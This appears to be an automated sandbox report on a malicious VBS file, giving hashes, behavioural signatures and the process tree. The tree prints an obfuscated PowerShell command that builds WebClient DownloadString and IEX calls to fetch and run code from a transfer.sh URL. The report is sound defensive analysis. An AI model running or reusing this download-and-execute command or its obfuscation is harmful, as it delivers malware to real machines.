Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240220-en -
resource tags
arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system -
submitted
15/03/2024, 10:18
Static task
static1
Behavioral task
behavioral1
Sample
cb27afd63b2c8ce8beb1dec8929594d8.vbs
Resource
win7-20240220-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
cb27afd63b2c8ce8beb1dec8929594d8.vbs
Resource
win10v2004-20240226-en
6 signatures
150 seconds
General
-
Target
cb27afd63b2c8ce8beb1dec8929594d8.vbs
-
Size
946B
-
MD5
cb27afd63b2c8ce8beb1dec8929594d8
-
SHA1
dd3728aeb00bf8a68c7a972f8519cc81caeb2de1
-
SHA256
4681174596e52b50da1fdef15ecc5f5348ae415eb7b851a2bc0aadaf5a676209
-
SHA512
916a30b1927b5401066c6b50a67e90e67352e2b81391b6d36cb6587d543a56b58aeee355ce3632f2352c4066db56425bebfc8e35a58fd8541dd7001f2b41c328
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
exe.dropper
http://transfer.sh/1nQFnMH/tyt.txt
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2900 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2900 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1992 wrote to memory of 2900 1992 WScript.exe 28 PID 1992 wrote to memory of 2900 1992 WScript.exe 28 PID 1992 wrote to memory of 2900 1992 WScript.exe 28
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cb27afd63b2c8ce8beb1dec8929594d8.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1992 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://transfer.sh/1nQFnMH/tyt.txt';$EDRFGHNJMKDEFGHJ = 'nE----------------EbC++++++++++++++++T'.Replace('----------------','t.W').Replace('++++++++++++++++','lIEN');$SXDCFVGBHNJXDCFVGBHJK = 'DO*************aDST<<<<<<<<<>>>>>>>>>>>G'.Replace('*************','WnLo').Replace('<<<<<<<<<>>>>>>>>>>>','rIn');$SWXDECRFGYHUJISDFVGHJ ='I`EX(n`-------------`c`T $EDRFGHNJMKD<<<<<<<<<<<<<<>>>>>>>>>>>>>>GBHNJSDFGH)'.Replace('-------------','e`W`-Obj`E').Replace('<<<<<<<<<<<<<<>>>>>>>>>>>>>>','EFGHJ).$SXDCFVGBHNJXDCFVGBHJK($SZXDCFV');&('I'+'EX')($SWXDECRFGYHUJISDFVGHJ -Join '')|&('I'+'EX');2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2900
-